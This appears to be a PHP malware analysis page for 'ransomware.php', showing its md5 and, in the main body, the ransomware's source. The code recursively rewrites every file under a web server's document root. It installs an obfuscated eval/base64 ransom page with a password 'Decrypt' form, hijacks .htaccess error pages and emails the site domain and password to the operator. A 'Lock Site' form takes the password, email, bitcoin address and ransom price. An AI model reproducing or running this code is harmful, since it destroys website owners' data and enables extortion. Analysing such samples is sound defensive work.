0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9InBvc3QiPgogICAgPGJyPgo8aW5wdXQgc3R5bGU9ImFsaWduLWl0ZW1zOiBjZW50ZXI7CiAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjsKICAgIHBvc2l0aW9uOiByZWxhdGl2ZTsKICAgIGJhY2tncm91bmQ6IHRyYW5zcGFyZW50OwogICAgYm9yZGVyOiAxcHggc29saWQgZ3JlZW47CiAgICBsZXR0ZXItc3BhY2luZzogMHB4OwogICAgY29sb3I6IHJlZDsKICAgIHdpZHRoOiBjb3ZlcjsKICAgIGhlaWdodDogMjVweDsKICAgIHBhZGRpbmc6IDA7CiAgICBmb250LXNpemU6IDE1cHg7CiAgICBmb250LXdlaWdodDogYm9sZDsiIHR5cGU9InRleHQiIG5hbWU9InBhc3MiIHBsYWNlaG9sZGVyPSJQYXNzd29yZCI+Cjxicj4KPGlucHV0IHN0eWxlPSJhbGlnbi1pdGVtczogY2VudGVyOwogICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7CiAgICBwb3NpdGlvbjogcmVsYXRpdmU7CiAgICBiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDsKICAgIGJvcmRlcjogMXB4IHNvbGlkIGdyZWVuOwogICAgbGV0dGVyLXNwYWNpbmc6IDBweDsKICAgIGNvbG9yOiByZWQ7CiAgICB3aWR0aDogNjBweDsKICAgIGhlaWdodDogMjVweDsKICAgIHBhZGRpbmc6IDA7CiAgICBmb250LXNpemU6IDE1cHg7CiAgICBmb250LXdlaWdodDogYm9sZDsiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkRlY3J5cHQiPgogICAgPGJyPgogICAgICAgPGNlbnRlcj4KPGJyPgo8YXVkaW8gaWQ9Im15QXVkaW8iIGxvb3A9IjEiPgogICAgICAgICAgICA8c291cmNlIHNyYz0iCmh0dHBzOi8vai50b3A0dG9wLmlvL21fMjI5N2RkbGZ3MC5tcDMiIHR5cGU9ImF1ZGlvL29nZyI+CiAgICAgICAgICAgIDxzb3VyY2Ugc3JjPSIKaHR0cHM6Ly9qLnRvcDR0b3AuaW8vbV8yMjk3ZGRsZncwLm1wMyIgdHlwZT0iYXVkaW8vbXBlZyI+CiAgICAgICAgPC9hdWRpbz4KICAgICAgICA8YnV0dG9uIG9uY2xpY2s9InBsYXlBdWRpbygpIiBzdHlsZT0iYWxpZ24taXRlbXM6IGNlbnRlcjsKICAgIGp1c3RpZnktY29udGVudDogY2VudGVyOwogICAgcG9zaXRpb246IHJlbGF0aXZlOwogICAgYmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7CiAgICBib3JkZXI6IDFweCBzb2xpZCBncmVlbjsKICAgIGxldHRlci1zcGFjaW5nOiAwcHg7CiAgICBjb2xvcjogcmVkOwogICAgd2lkdGg6IDYwcHg7CiAgICBoZWlnaHQ6IDI1cHg7CiAgICBwYWRkaW5nOiAwOwogICAgZm9udC1zaXplOiAxNXB4OwogICAgZm9udC13ZWlnaHQ6IGJvbGQ7IiB0eXBlPSJidXR0b24iPlBsYXk8L2J1dHRvbj4gICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJwYXVzZUF1ZGlvKCkiIHN0eWxlPSJhbGlnbi1pdGVtczogY2VudGVyOwogICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7CiAgICBwb3NpdGlvbjogcmVsYXRpdmU7CiAgICBiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDsKICAgIGJvcmRlcjogMXB4IHNvbGlkIGdyZWVuOwogICAgbGV0dGVyLXNwYWNpbmc6IDBweDsKICAgIGNvbG9yOiByZWQ7CiAgICB3aWR0aDogNjBweDsKICAgIGhlaWdodDogMjVweDsKICAgIHBhZGRpbmc6IDA7CiAgICBmb250LXNpemU6IDE1cHg7CiAgICBmb250LXdlaWdodDogYm9sZDsiIHR5cGU9ImJ1dHRvbiI+UGF1c2U8L2J1dHRvbj48L2NlbnRlcj4KICAgICAgICA8c2NyaXB0PgogICAgICAgICAgICAgIHZhciB4ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIm15QXVkaW8iKTsgCgogICAgICAgICAgICAgIGZ1bmN0aW9uIHBsYXlBdWRpbygpIHsgCiAgICAgICAgICAgICAgICAgIHgucGxheSgpOyAKICAgICAgICAgICAgICB9IAoKICAgICAgICAgICAgICAgZnVuY3Rpb24gcGF1c2VBdWRpbygpIHsgCiAgICAgICAgICAgICAgICAgIHgucGF1c2UoKTsgCiAgICAgICAgICAgICAgfSAKICAgICAgICA8L3NjcmlwdD4KPC9mb3JtPgo8YnI+Q29udGFjdCBNYWlsIDogd2Fubjc4N3ZpcEBnbWFpbC5jb20KPC9mb250Pg==");
$q = str_replace('gomen', md5($_POST['pass']), $file);
$w = str_replace('[email protected]', $_POST['email'], $q);
$e = str_replace('hello', $_POST['btc'], $w);
$r = str_replace('$3', '$'.$_POST['price'], $e);
$dec = $r;
$comp = "<?php eval('?>'.base64_decode("."'".base64_encode($dec)."'".").'<?php '); ?>";
$hii = fopen('index.php', 'w');
fwrite($hii, $comp);
fclose($hii);
$hta = "DirectoryIndex index.php\n
ErrorDocument 403 /index.php\n
ErrorDocument 404 /index.php\n
ErrorDocument 500 /index.php\n";
$ht = fopen('.htaccess', 'w');
fwrite($ht, $hta);
fclose($ht);
echo "$filename Encrypted !!!<br>";
}

function encdir($dir){
	$files = array_diff(scandir($dir), array('.', '..'));
		foreach($files as $file) {
			if(is_dir($dir."/".$file)){
				encdir($dir."/".$file);
			} else {
				encfile($dir."/".$file);
				
		}
	}
}

if(isset($_POST['pass'])){
	encdir($_SERVER['DOCUMENT_ROOT']);
}
copy('index.php', $_SERVER['DOCUMENT_ROOT'].'/index.php');
copy('.htaccess', $_SERVER['DOCUMENT_ROOT'].'.htaccess');
copy($_SERVER['DOCUMENT_ROOT'].'.htaccess', $_SERVER['DOCUMENT_ROOT'].'.htabackup');
$to = $_POST['[email protected]'];
$subject = 'Your Ransomware Info';
$message = "Domain : ".$_SERVER['SERVER_NAME'] .$_SERVER['REQUEST_URI']."\n\n"."Your Password : ".$_POST['pass'];
if(mail($to,$subject,$message)) {
echo 'The password has been sent to your email';
} else {
echo 'password was not sent to your email';
}
exit();
}
?>
</html>
<?php 
@ini_set('output_buffering', 0); @ini_set('display_errors', 0); set_time_limit(0); ini_set('memory_limit', '64M'); header('Content-Type: text/html; charset=UTF-8');


?>
<center>
<h1>Ransomware</h1>
<br><br><h3>Information :</h3>
Path File : <font color="red"><?php echo $_SERVER['SCRIPT_FILENAME'] ; ?></font><br>
Mail Function : <font color="red"><?php if(mail('[email protected]','tes','tes')) { echo "ON"; } else { echo "OFF"; } ?></font>
<br><br>
    <center>
<form enctype="multipart/form-data" method="post">
    <br>
<input type="text" name="pass" placeholder="Input Password" >
<br>
<input type="text" name="email" placeholder="Your Email" >
<br>
<input type="text" name="price" placeholder="Price Decrypt" >
<br><br>
<input type="submit" class="input" value="Lock Site">
<br>
</form>
</center>
PHP Malware Analysis

ransomware.php

md5: ee88ea8dfb02b517026bedabac2d3393

Screenshot

Attributes

Deobfuscated PHP code

Execution traces

Generated HTML code

Original PHP code
